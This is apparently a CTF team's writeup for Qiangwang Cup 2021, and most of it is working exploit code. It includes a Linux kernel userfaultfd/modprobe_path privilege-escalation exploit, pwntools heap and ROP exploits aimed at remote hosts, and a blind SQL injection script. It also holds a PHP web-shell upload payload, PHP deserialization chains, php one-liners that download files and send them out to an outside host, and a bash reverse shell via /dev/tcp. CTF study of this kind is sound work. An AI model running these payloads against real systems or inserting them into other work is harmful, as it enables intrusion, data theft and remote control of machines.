Pwn

notebook

// gcc exp.c  -o exp --static -lpthread -O3 -s
#define _GNU_SOURCE

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>

#define MAX_DATA_SIZE 0x1000000
#define SEARCH_SIZE 0x10000
#define PIPE_SIZE 0x280

int fd;
int pipe_fd[2];
size_t heap[2];
size_t mod_address,cookie,kernel_base;
struct args {
    size_t index;
    size_t size;
    char *buf;
};

void note_add(size_t index,size_t size,char *p)
{
    struct args ar;
    ar.index = index;
    ar.size = size;
    ar.buf = p;
    ioctl(fd,0x100,&ar);
}

void note_del(size_t index)
{
    struct args ar;
    ar.index = index;
    ioctl(fd,0x200,&ar);
}

void note_edit(size_t index,size_t size,char *p)
{
    struct args ar;
    ar.index = index;
    ar.size = size;
    ar.buf = p;
    ioctl(fd,0x300,&ar);
}

void gift(char *p)
{
    struct args ar;
    ar.buf = p;
    ioctl(fd,100,&ar);
}

void write_to_kernel (size_t index, char *user_ptr)
{
    write(fd,user_ptr,index);
}
void read_from_kernel (size_t index, char *user_ptr)
{
    read(fd,user_ptr,index);
}

void errExit(char* msg)
{
    puts(msg);
    exit(-1);
}

uint64_t fault_page, fault_page_len;

void* UAF_handler(void *arg)
{
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    puts("[+] Handler Created");

    struct pollfd pollfd;
    int nready;
    pollfd.fd      = uffd;
    pollfd.events  = POLLIN;
    nready = poll(&pollfd, 1, -1);
    if (nready != 1)  // Wainting copy_from_user/copy_to_user访问FAULT_PAGE
        errExit("[-] Wrong pool return value");
    puts("[+] Trigger! I'm going to hang");
    note_del(0);

    if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
        errExit("[-] Error in reading uffd_msg");
    assert(msg.event == UFFD_EVENT_PAGEFAULT);

    struct uffdio_copy uc;

    size_t target = cookie ^  (mod_address + 0x2500 - 0x10) ^ heap[0];
    uint64_t DATA[2] = {target,0};

    uc.src = (unsigned long)DATA;
    uc.dst = (unsigned long)fault_page;
    uc.len = fault_page_len;
    uc.mode = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复copy_from_user

    puts("[+] Done");
    return NULL;
}
void register_userfault()
{
    struct uffdio_api ua;
    struct uffdio_register ur;
    pthread_t thr;

    uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd
    ua.api = UFFD_API;
    ua.features = 0;
    if (ioctl(uffd, UFFDIO_API, &ua) == -1)
        errExit("[-] ioctl-UFFDIO_API");
    ur.range.start = (unsigned long)fault_page;
    ur.range.len   = fault_page_len;
    ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
        errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理FD,若访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
    if ( pthread_create(&thr, NULL, UAF_handler, (void*)uffd) ) // handler函数进行访存错误处理
        errExit("[-] pthread_create");
    return;
}

void shell(){
    puts("ROOT [+]");
    system("/bin/sh");
}

int main()
{
    signal(SIGSEGV, shell);
    fd = open("/dev/notebook", O_RDWR);
    if(fd < 0)    _exit(-1);

    char *data = calloc(1,0x100);
    char *mem = calloc(1,MAX_DATA_SIZE);

    FILE *stream =popen("cat /tmp/moduleaddr  | awk '{print $6}'","r");
    fread(mem,0x12,1,stream);
    mod_address = strtoul(mem,NULL,16);
    printf("Mod_BASE:\t %lX\n",mod_address);

    note_add(0,0x60,data);
    note_add(1,0x60,data);
    gift(mem);
    heap[0] = *(size_t*)mem;
    heap[1] = *(size_t*)(mem + 0x10);
    printf("HEAP - 0:\t %lX\n",heap[0]);
    printf("HEAP - 1:\t %lX\n",heap[1]);

    note_del(1);
    note_del(0);
    note_add(0,0x60,data);
    note_add(1,0x60,data);
    read_from_kernel(0,mem);
    cookie = (*(size_t*)mem) ^ heap[0] ^ heap[1];
//  cookie = 0xBCA44720644C7674;
    printf("XOR Cookie:\t%lX\n",cookie);
    fault_page = (size_t)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    fault_page_len = 0x1000;
    register_userfault();   // 注册监视缺页内存
    write_to_kernel(0,(char*)fault_page);   // 触发缺页并挂起进程

    note_del(1);
    *(size_t*)(data + 0xF0) = cookie ^ (mod_address + 0x2500 - 0x10);
    uint32_t i;
    size_t tmp_chunk;
    for(i = 0; i < 0x10; i++)
    {
        note_add(i,0x60,data);
        gift(mem);
        tmp_chunk = *(size_t*)(mem + i*0x10);
        if(tmp_chunk == heap[0]) {
            printf("Next is Target, Has Found, Index: %d\n",i);
            break;
        }
        if(i == 0xF)
        {
            puts("Can not Found the Target");
            _exit(-1);
        }
    }
    // __kmalloc 0xFFFFFFFF812368D0
    // xor cookie address 0xFFFFFFFF81239E1C or 0xFFFFFFFF81236960

    note_add(i + 1,0x60,data);

    size_t BUF[0x10] = {0};
    BUF[2] = mod_address + 0x168;
    BUF[3] = 0x4;
    BUF[4] = mod_address + 0x2500;
    BUF[5] = 0x100;
    write_to_kernel(i + 1,BUF);

    read_from_kernel(0,mem);
    kernel_base = ((*(uint32_t*)mem + mod_address + 0x16C) | 0xFFFFFFFF00000000) - 0x476C30;
    printf("Kernel_BASE:\t%lX\n",kernel_base);

    size_t modprobe_path = kernel_base + 0x125D2E0;

    BUF[0] = modprobe_path;
    BUF[1] = 0x10;
    write_to_kernel(1,BUF);

    strcpy(data,"/tmp/copy.sh");
    write_to_kernel(0,data);

    system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/copy.sh");
    system("chmod +x /tmp/copy.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");

    system("/tmp/dummy");

    close(fd);
    _exit(-1);
}

babypwn

from pwn import*
#context.log_level = 'DEBUG'
def menu(ch):
    p.sendlineafter('>>>',str(ch))
def add(size):
    menu(1)
    p.sendlineafter('size:',str(size))
def free(index):
    menu(2)
    p.sendlineafter('index:',str(index))
def edit(index,content):
    menu(3)
    p.sendlineafter('index:',str(index))
    p.sendafter('content:',content)
def show(index):
    menu(4)
    p.sendlineafter('index:',str(index))
p = process('./main')
p = remote('39.105.130.158',8888)
libc = ELF('./libc.so.6')

for i in range(7):
    add(0x100)

add(0x100)
add(0x100) #8
add(0x10) #9

edit(7,'\x00'*0xF0 + p64(0x100) + p64(0x121))
for i in range(7):
    free(i)
free(7)

add(0x108)
edit(0,'U'*0x108)
free(0)

add(0xA0) #0
add(0x40) #1

for i in range(7):
    add(0xA0)
for i in range(6):
    free(i + 2)

for i in range(5):
    add(0x40)
for i in range(5):
    free(i + 2)

free(10)

free(0)
free(8)

for i in range(7):
    add(0xA0)
free(1)
add(0xA0) #1
add(0x140)
edit(8,'\x60\x87')

add(0x40) #10
add(0x40) #11
edit(11,p64(0xFBAD1800) + '\x00'*0x18 + '\xC8')
libc_base = u64(p.recvuntil('\x7F',timeout = 0.2)[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
log.info('LIBC:\t' + hex(libc_base))

context.arch = "amd64"
free_hook = libc_base + libc.sym['__free_hook']
new_execve_env = free_hook & 0xFFFFFFFFFFFFF000

R = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0
syscall

jmp rsi
''' % new_execve_env

pop_rdi_ret = libc_base + 0x000000000002155F
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x00000000000439C8
pop_rsi_ret = libc_base + 0x0000000000023E6A
syscall = libc_base + libc.sym['syscall']
ret = libc_base + 0x8AA
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']

orw  = p64(pop_rdi_ret) + p64(libc_base + libc.bss()  + 0x78)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(libc_base + libc.bss())
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
orw += 'flag.txt\x00'

for i in range(4):
    add(0x140)
free(12)
free(13)
free(14)
free(15)
free(10)
edit(8,p64(libc_base + libc.bss()))
add(0x140) #10
add(0x140) #12
edit(12,orw)
free(10)
edit(8,p64(libc_base  + libc.sym['__free_hook']))
add(0x140) #10

frame = SigreturnFrame()
frame.rsp = libc_base  + libc.bss()
frame.rip = pop_rdi_ret + 1
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
edit(10,str(frame))
add(0x140) #13
sleep(1)
edit(13,p64(libc_base + libc.sym['setcontext'] + 53))
######################
free(10)

p.interactive()

baby_diary

from pwn import*
def menu(ch):
    p.sendlineafter('>> ',str(ch))
def new(size,content):
    menu(1)
    p.sendlineafter('size:',str(size))
    p.sendlineafter('content:',content)
def show(index):
    menu(2)
    p.sendlineafter('index:',str(index))
def free(index):
    menu(3)
    p.sendlineafter('index:',str(index))
libc = ELF('./libc-2.31.so')

while(1):
    p = remote('8.140.114.72',1399)
    try:
        for i in range(2):
            new(0x2000,'\x00')
        new(0x1000 - 0x2F0 - 0x5F0,'\x00')
        new(0x4F0 ,'\x00') #3
        new(0x107,'\x00')
        new(0x500 ,'\x00') #5
        new(0x107,'\x00') #6 - 7 -8
        new(0x107,'\x00')
        new(0x107 - 0x60,'\x00')
        new(0x510 ,'\x00') #9
        new(0x107,'\x00') 
        new(0x4F0,'\x00') #11
        new(0x107,'\x00') #12
        free(3)
        free(5)
        free(9)
        new(0x1000,'\x00')
        free(3)

        new(0x500,'\x00'*7 + '\x71' + p64(0xE01)[0:7]) # 3
        new(0x4F0,'\x00'*0x10+ '\x00') # 5

        free(11)
        new(0x1000,'\x00') # 9
        free(9)
        new(0x510,'\x00') #9
        new(0x4F0,'\x00'*0x20) #11

        free(10)
        new(0x107,'\x00'*0x107) #10

        free(10)
        new(0x107,'\x00'*0xFF + '\xE0') #10

        #gdb.attach(p,"source 1.s")

        free(11)

        new(0x500 - 0x10,'FMYY') #11
        show(6)
        libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
        log.info('LIBC:\t' + hex(libc_base))

        free(12)
        free(7)

        new(0x130,'\x00'*0x108 + p64(0x111) + p64(libc_base + libc.sym['__free_hook'])) #7
        new(0xCB0,'/bin/sh\x00') #12

        new(0x100,p64(libc_base + libc.sym['system']))
        new(0x100,p64(libc_base + libc.sym['system']))

        free(12)
        break
    except:
        p.close()
        continue
p.sendline('cat flag')
log.info("[+]FLAG:\t" +  p.recv(100))
p.interactive()

pipeline

from pwn import*
def menu(ch):
    p.sendlineafter('>> ',str(ch))
def new():
    menu(1)
def make(index,off,size):
    menu(2)
    p.sendlineafter('index:',str(index))
    p.sendlineafter('offset:',str(off))
    p.sendlineafter('size:',str(size))
def free(index):
    menu(3)
    p.sendlineafter('index:',str(index))
def edit(index,size,content):
    menu(4)
    p.sendlineafter('index:',str(index))
    p.sendlineafter('size:',str(size))
    p.sendafter('data:',content)
def show(index):
    menu(5)
    p.sendlineafter('index:',str(index))
p = process('./main')
p = remote('59.110.173.239',2399)
libc = ELF('./libc-2.31.so')
for i in range(7):
    new()
for i in range(7):
    make(i,0,0x10)
for i in range(7):
    make(i,0,0)

new()
make(0,0,0x10)

show(0)
p.recvuntil('data: ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x420
log.info('HEAP:\t' + hex(heap_base))

make(0,0,0x20)

new()
make(1,0,0x1F0)

new()
make(2,0,0x1F0)

new()
make(3,0,0x1F0)

new()
make(4,0,0x1F0)

edit(0,0xFFFF0030,'\x00'*0x28 + p64(0x601))

make(1,0,0)

make(1,0,0x1F0)

show(2)

libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))
new()
make(5,0,0x1F0)
new()
make(6,0,0x1F0)

for i in range(7):
    free(i)
new()
make(5,0,0x80)
new()
make(6,0,0x90)

edit(5,0xFFFF0200,'/bin/sh\x00' + '\x00'*0x80 + p64(0x21) + p64(libc_base + libc.sym['__free_hook']) + p32(0) + p32(0x10) + '\n')

edit(6,0x10,p64(libc_base + libc.sym['system']) + '\n')

make(5,0,0)
p.interactive()

nooutput

from pwn import*
r=remote('39.105.138.97',1234)
#r=process('./main')
context.binary=elf=ELF("./main")
context(os='linux',arch='i386',log_level='debug')

read_plt=0x80490C0
open_plt=0x80490F0
read_got=0x804C010
open_got=0x804c01c
pop_ebx=0x08049022
ppp=0x8049580
leave=0x80491a5
bss=0x804C800
main=0x8049236

#gdb.attach(r,'b *0x8049267')

r.send(p32(0)+'a'*0x2c)

r.send('a'*0x20)

r.send('hello_boy'.ljust(0x10,'\x00'))

r.sendline(str(-0x80000000))

r.sendline(str(-1))

payload='\x00'*0x4c
payload+=p32(read_plt)+p32(ppp)+p32(0)+p32(bss)+p32(0x100)
payload+=p32(bss)+p32(leave)

r.send(payload.ljust(0x100,'\x00'))

msg='/bin/sh'
PLT=0x8049030
rel_plt=0x8048414
index_offset=(bss+28)-rel_plt
dynsym=0x8048248
dynstr=0x8048318
fake_sym_addr=bss+36
align=0x10-((fake_sym_addr-dynsym) & 0xf)
fake_sym_addr+=align
index_dynsym=(fake_sym_addr-dynsym)/0x10
r_info=(index_dynsym<<8)|0x7
fake_rel=p32(open_got)+p32(r_info)
st_name=(fake_sym_addr+0x10)-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)

payload=p32(0)
payload+=p32(PLT)+p32(index_offset)+p32(0)
payload+=p32(bss+80)+p32(0)+p32(0)
payload+=fake_rel
payload+='A'*align
payload+=fake_sym
payload+='system\x00'
payload+='A'*(80-len(payload))
payload+=msg+'\x00'
payload+='A'*(100-len(payload))

r.send(payload)

r.interactive()

orw

from pwn import*
r=remote('39.105.131.68',12354)
#r=process('./main')
context(os='linux',arch='amd64',log_level='debug')

def new(idx,size,content):
    r.recvuntil('choice >>\n')
    r.sendline('1')
    r.recvline()
    r.sendline(str(idx))
    r.recvline()
    r.sendline(str(size))
    r.recvline()
    r.send(content)

def delete(idx):
    r.recvuntil('choice >>\n')
    r.sendline('4')
    r.recvline()
    r.sendline(str(idx))

shell=''
shell+=asm("mov rax,0x2")
shell+=asm("add rdi,0x46")
shell+=asm("mov rsi,0")
shell+=asm("mov rdx,0")
shell+=asm("syscall")

shell+=asm("mov rax,0")
shell+=asm("mov rsi,rdi")
shell+=asm("mov rdi,0x3")
shell+=asm("mov rdx,0x30")
shell+=asm("syscall")

shell+=asm("mov rax,0x1")
shell+=asm("mov rdi,0x1")
shell+=asm("syscall")
shell+=asm("ret")

shell+='flag'

new(-0x19,0,shell+'\n')

#gdb.attach(r)

delete(-0x19)

r.interactive()

shellcode

from pwn import*

#r=process('./main')
context(os='linux',arch='amd64',log_level='info')

index=0
possible_list="{}-abcdefghijklmnopqrstuvwxyz0123456789\x00"
flag=""

def once():
    shell=''
    shell+=asm("""
        push rbx
        push rbx
        pop rcx
        push 0x41414141
        pop rax
        xor DWORD PTR [rcx+0x20],eax
        pop rax
        pop rax
        pop rax
        push r11
        pop rdx
        """)

    shell+=asm("pop rbx")*0xE

    shell+=asm("""
        .byte 0x4e
        .byte 0x44
        """)

    #gdb.attach(r,'b *0x40026D')
    r.sendline(shell.ljust(0x300,'\x20'))

    #pause()

    shell='\x00'*0x22
    shell+=asm("""
        mov rdi,0x20000000
        mov rsi,0x1000
        mov rdx,0x7
        mov rax,9
        syscall
        xchg rdi,rsi
        xor rdi,rdi
        mov rdx,0x300
        xor rax,rax
        syscall
        add rsi,0x5
        push 0x23
        push rsi
        retfq
        """)

    r.send(shell.ljust(0x246,'\x00'))

    shell='flag\x00'+'\xB8\x05\x00\x00\x00\xBB\x00\x00\x00\x20\x31\xC9\x31\xD2\xCD\x80'+'\xBC\x10\x00\x00\x20\x6A\x33\x68\x23\x00\x00\x20'+'\x48\xCB'

    shell+=asm("""
        xor rax,rax
        mov rdi,0x3
        mov rsi,0x20000000
        mov rdx,0x30
        syscall
        """)

    shell+=asm("mov bl,byte ptr[rsi+"+hex(index)+"]")
    shell+=asm("cmp bl,"+hex(char))
    shell+=asm("jz $-0x3")

    r.send(shell.ljust(0x300,'\x00'))

while (True):
    for i in range(len(possible_list)):
        char=ord(possible_list[i])
        r=remote('39.105.137.118',50050)
        once()
        start=time.time()
        r.can_recv_raw(timeout=3)
        end=time.time()
        r.close()
        if (end-start>3):
            flag+=possible_list[i]
            print flag
            break
    index=index+1
    if (flag[len(flag)-1]=='}'): break

Web

Hard_pentest

shiro rememberme白给,用工具 CommonsCollections10 一把梭

java -jar .\shiro_tool.jar http://eci-2ze7erauybavuxsj2alf.cloudeci1.ichunqiu.com:8888

shell弹出来,/flag是www-data的700权限,读取不了

用php出网下载和上传文件:

php -r "copy('http://xxx/tshd','/tmp/wh1sper/tshd');"
php -r "fwrite(fsockopen('xxx',8082),fread(fopen('/tmp/wh1sper/apache2.tar','r'),filesize('/tmp/wh1sper/apache2.tar')));"
强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

在ports.conf里面发现8005,是个tp3

上msf,上socks;

访问本机8005端口,看到是baocms,网上找到源码,代码审计:

Tudou\Lib\Action\Wap\CommonAction.class.php
强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

发现有模板包含加路径穿越,在传入的模板名后拼接.html,模板名可控
于是写入php读文件然后包含即可:

强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室
强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

EasyWeb

根据提示扫35000-40000端口得到36842端口

访问是个web服务,需要登录,简单测了一下是时间盲注

exp:

import requests
import time

def timeInjection():
    URL = "http://121.42.242.238:36842/account/login"
    result = ""
    payload = "-1'||if((ascii(substr((select password from easyweb.employee limit 1),{},1))={}),sleep(2),0)#"
    for i in range(1,100):
        for j in range(32,128):
            tmp_payload = payload.format(i,j)
            params = {
                'username':tmp_payload,
                'password':"1"
            }
            start_time = time.time()
            requests.post(url = URL, data=params)
            if  time.time() - start_time > 2:
                result += chr(j)
                print(result)
                print(time.time() - start_time)
                break
            else:
                pass

timeInjection()
#easyweb
#employee
#admin 99f609527226e076d668668582ac4420

登录后扫目录发现/file/路由存在文件上传

可以换行绕过文件名过滤:

poc:

POST /file/ HTTP/1.1
Host: 121.42.242.238:36842
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------34604615483941596614945285015
Content-Length: 233
Connection: close
Cookie: ci_session=4b82egoiesr4q1stblq264khvbpn036p; id=1; code=dYQZRecwcHEB5932PB1RbvX44wmYwKNJ
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

-----------------------------34604615483941596614945285015
Content-Disposition: form-data; name="file"; filename="a\.
php"
Content-Type: image/jpeg

<?=`$_POST[0]`;
-----------------------------34604615483941596614945285015--

执行多次由于后端修改文件名递增得到1.php、2.php

强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

拿到shell发现/flag需要root权限读取

强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

查看最近修改的文件发现有jboss应用,猜测有jboss服务在本地端口

强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

信息搜集发现开在了8006端口,于是代理进去访问看到一个1.jsp:

强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

不知道是其他选手打的还是预留的,在本地找到源码:
(其实是jsp会被jboss编译成class,即一个servlet. 靠linpeas 看最近变化的文件也可以发现。所以就可以拿到别人部署的马的源码了。)

/etc/jboss/server/default/work/jboss.web/localhost/_/org/apache/jsp/_1_jsp.java

关键源码:

if ( "023" .equals(request.getParameter( "pwd" ))){ 
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter( "i" )).getInputStream();

反应过来就是Jboss未授权访问走jmx-console了。直接上车。
jboss是root权限,拿到flag:

强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

WhereIsUWebShell

第一步需要绕Exception,显然用 fast destruct 这个trick.不过用phpggc里的fastDestruct时候不太行的样子。所以手动构造下

<?php
class myclass {
    public $data;
}
class Hello{
    public $qwb="e2a7106f1cc8bb1e1318df70aa0a3540.php";
}

$a = new myclass();
$b = new Hello();
$a->data = $b;
$payload = serialize($a);
$poc = 'a:2:{i:7;O:7:"myclass":1:{s:4:"data";'.$payload.'i:7;i:0}';
echo urlencode($poc);

读到源码后是国赛某题的构造png马。往IDAT写内容就行了。至于方法参考这位师傅的博文 https://blog.csdn.net/miuzzx/article/details/116885083?spm=1001.2014.3001.5501
避免小写字符以防inflate内容过长,然后上传靠string.strip_tags稳定构造临时文件。写出来getshell。

上传:

# coding: utf-8
# -**- author: byc_404 -**-
import requests
import time
import threading
from base64 import b64decode

s = requests.session()
file="iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAATElEQVR4nGNcPD89RVZBTCgkX0dFVFsxXSk7Pz5Y4O/BB0Jn3+y+o2XO8fQg8wfjH06KljkuNQyjYBSMglEwCkbBKBgFo2AUjIJhDACjvhICv3YU9AAAAABJRU5ErkJggg=="
url = 'http://eci-2zece4hj2xonplasisig.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php'

files = {'file':('webshell',b64decode(file.encode()))}

def upload_file():
    try:
        while 1:
            r = s.post(url=url, files=files, params={
                          '4724ca52-770f-480a-81bd-83b284decdea': "php://filter/string.strip_tags/resource=e2a7106f1cc8bb1e1318df70aa0a3540.php"})
            time.sleep(0.1)
    except requests.exceptions.ConnectionError:
        print('Connection Error')
        time.sleep(5)

def main():
    workers = []
    for t in range(30):
        worker = threading.Thread(target=upload_file, args=())
        worker.start()
        workers.append(worker)
    for worker in workers:
        worker.join()

if __name__ == '__main__':
    main()

包含

url = 'http://eci-2zece4hj2xonplasisig.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php'

def include():
    r = requests.get(url, params={
        '543419b2-b330-4f4e-ad5d-ea633ae86258': '/tmp'  # scandir
    })

    files = re.findall(r'php[a-zA-Z0-9]{6}', r.text)
    print(len(files))
    for file in files:
        print(f'/tmp/{file}')
        r = requests.get(url, params={
            '1':'system("bash -c \'bash -i >& /dev/tcp/xxxx/9003 0>&1\'");',
            '4724ca52-770f-480a-81bd-83b284decdea': f'/tmp/{file}'  # include file,
        }, data={'1': 'echo "12232332";'})
        print(r.text)

while True:
    include()

进去后发现没有flag,找了下suid发现某readflag程序。再找下flag对应文件去读。

强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

flag{a66f0096-aff2-4bf4-b3ab-b6a37976bdbe}

[强网先锋]赌徒

<?php

class Start {
    public $name;
}

class Info
{
    public $file;
}
class Room{
    public $a;
    public $file="/flag";
}
$c = new Room();
$c->a = new Room();
$b = new Info();
$b->file = ["filename"=>$c];
$a = new Start();
$a->name = $b;
echo(urlencode(serialize($a)));

pop_master

题目其实相当于一个静态分析,差不多就是写脚本实现一个live variable analysis.可控参数能传到eval里的数据流就是我们的目的。

想了下考虑直接php实现一个dfs,然后显然需要剪枝。这里观察下只要出现redefine 的情况就可以剪掉了。

带剪枝的dfs如下。最后只会搜到一个满足条件的方法名

<?php

// 剪枝
function purne($funcContent, $parameter) {
    if (preg_match('/\\$'.$parameter.'\=[ \$\'0-9a-zA-Z]{6,7};/', $funcContent, $res)) {
        return true;
    }
    return false;
}

// 获取调用方法及参数
function getCallFunction($content) {
    if (preg_match_all('/([0-9a-zA-Z]{6})\(\$([0-9a-zA-Z]{5})\)/i', $content,$res)) {
        if (count($res[1]) == 2) {
            return [$res[1], [$res[2][0]]];
        } else {
            return [$res[1], $res[2]];
        }
    } else if (preg_match('/eval\(\$([0-9a-zA-Z]{5})\);/',$content, $res)) {
        return [['eval'], [$res[1]]];
    }
}

$funcMap = [];
$classMap = [];

$classes = array_slice(get_declared_classes(), 167);
foreach ($classes as $class) {
    $class = new ReflectionClass($class);
    $methods = $class->getMethods();
    $classMap[$class->name] = [$methods[0]->name, $methods[1]->name];
    foreach ($methods as $method) {
        foreach ($method->getParameters() as $param) {
            // funcname => [className, paramname, startLine, endLine]
            $funcMap[$method->name] = [$method->class, $param->name, $method->getStartLine(), $method->getEndLine()];
        }
    }
}
$lines = file('./class.php');

$ans = [];

function dfs(&$funcMap, &$func, &$lines, &$ans) {
    $start = $funcMap[$func][2];
    $end = $funcMap[$func][3];
    $funcText = implode(array_slice($lines, $start, $end - $start));
    $result = getCallFunction($funcText);
    $methods = $result[0];
    $parameter = $result[1][0];
    $shouldPurne = purne($funcText, $parameter);
    if ($shouldPurne) {
        return;
    } else if ($methods[0] == 'eval') {
        array_push($ans, $func);
        return;
    } else {
        foreach ($methods as $m) {
            dfs($funcMap, $m, $lines, $ans);
        }
    }
}

$start = 'x9tqyo';
dfs($funcMap, $start, $lines, $ans);
var_dump($ans);

按照pop链构造原则直接回溯就可以拿到pop链用到的26个类。手动写个生成就行。

[强网先锋]寻宝

信息一
套娃,一层层过就行

ppp[number1]=1025 &ppp[number2]=9e5&ppp[number3]=61823470&ppp[number4]=0eeeeee&ppp[number5]={"key":0001}

信息二
遍历docx打印下内容,找到key2就停止。
强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

Crypto

guess_game

from pwn import *
from Crypto.Util.number import *
import random
import hashlib
from collections import deque

class generator:
    def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):
        self.NFSR = deque()
        self.LFSR = deque()

        for i in range(80):
            self.NFSR.append(key[i])

        for i in range(64):
            self.LFSR.append(iv[i])

        for i in range(64, 80):
            self.LFSR.append(1)

        self.clock()

        if hint:
            s = self.NFSR + self.LFSR
            for i in range(k, k + m):
                s[i] ^= 1
            self.NFSR = deque(list(s)[:80])
            self.LFSR = deque(list(s)[80:])

    def clock(self):
        for i in range(160):
            zi = self.PRGA()
            self.NFSR[79] ^= zi
            self.LFSR[79] ^= zi

    def PRGA(self):
        x0 = self.LFSR[3]
        x1 = self.LFSR[25]
        x2 = self.LFSR[46]
        x3 = self.LFSR[64]
        x4 = self.NFSR[63]

        hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) \
             ^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)

        zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[
            56]) ^ hx

        fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]

        gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37] \
             ^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0] \
             ^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9]) \
             ^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21]) \
             ^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ (
                     self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33]) \
             ^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ (
                     self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37]) \
             ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ (
                     self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])

        self.LFSR.popleft()
        self.LFSR.append(fx)
        self.NFSR.popleft()
        self.NFSR.append(gx)

        return zi

status = [False]*51200
for guess in range(160):
    k = guess // 2
    m = guess % 10
    if(m==0):
        m = 10
    for _ in range(160):
        key = bin(random.getrandbits(80))[2:].zfill(80)
        key = list(map(int, key))
        iv = bin(random.getrandbits(64))[2:].zfill(64)
        iv = list(map(int, iv))
        a = generator(key, iv, False)    
        b = generator(key, iv, True, k, m)
        for i in range(160):
            status[(a.PRGA()^b.PRGA())*25600+160*guess+i] = True

print('ok')

HOST = "39.105.139.103"
POST = 10002

def proof_of_work():
    rev = r.recvuntil("sha256(xxxx + ")
    suffix = r.recv(16).decode()
    rev = r.recvuntil(" == ")
    tar = r.recv(64).decode()

    def f(x):
        hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest()
        return hashresult == tar

    prefix = util.iters.mbruteforce(f, string.digits + string.ascii_letters, 4, 'upto')
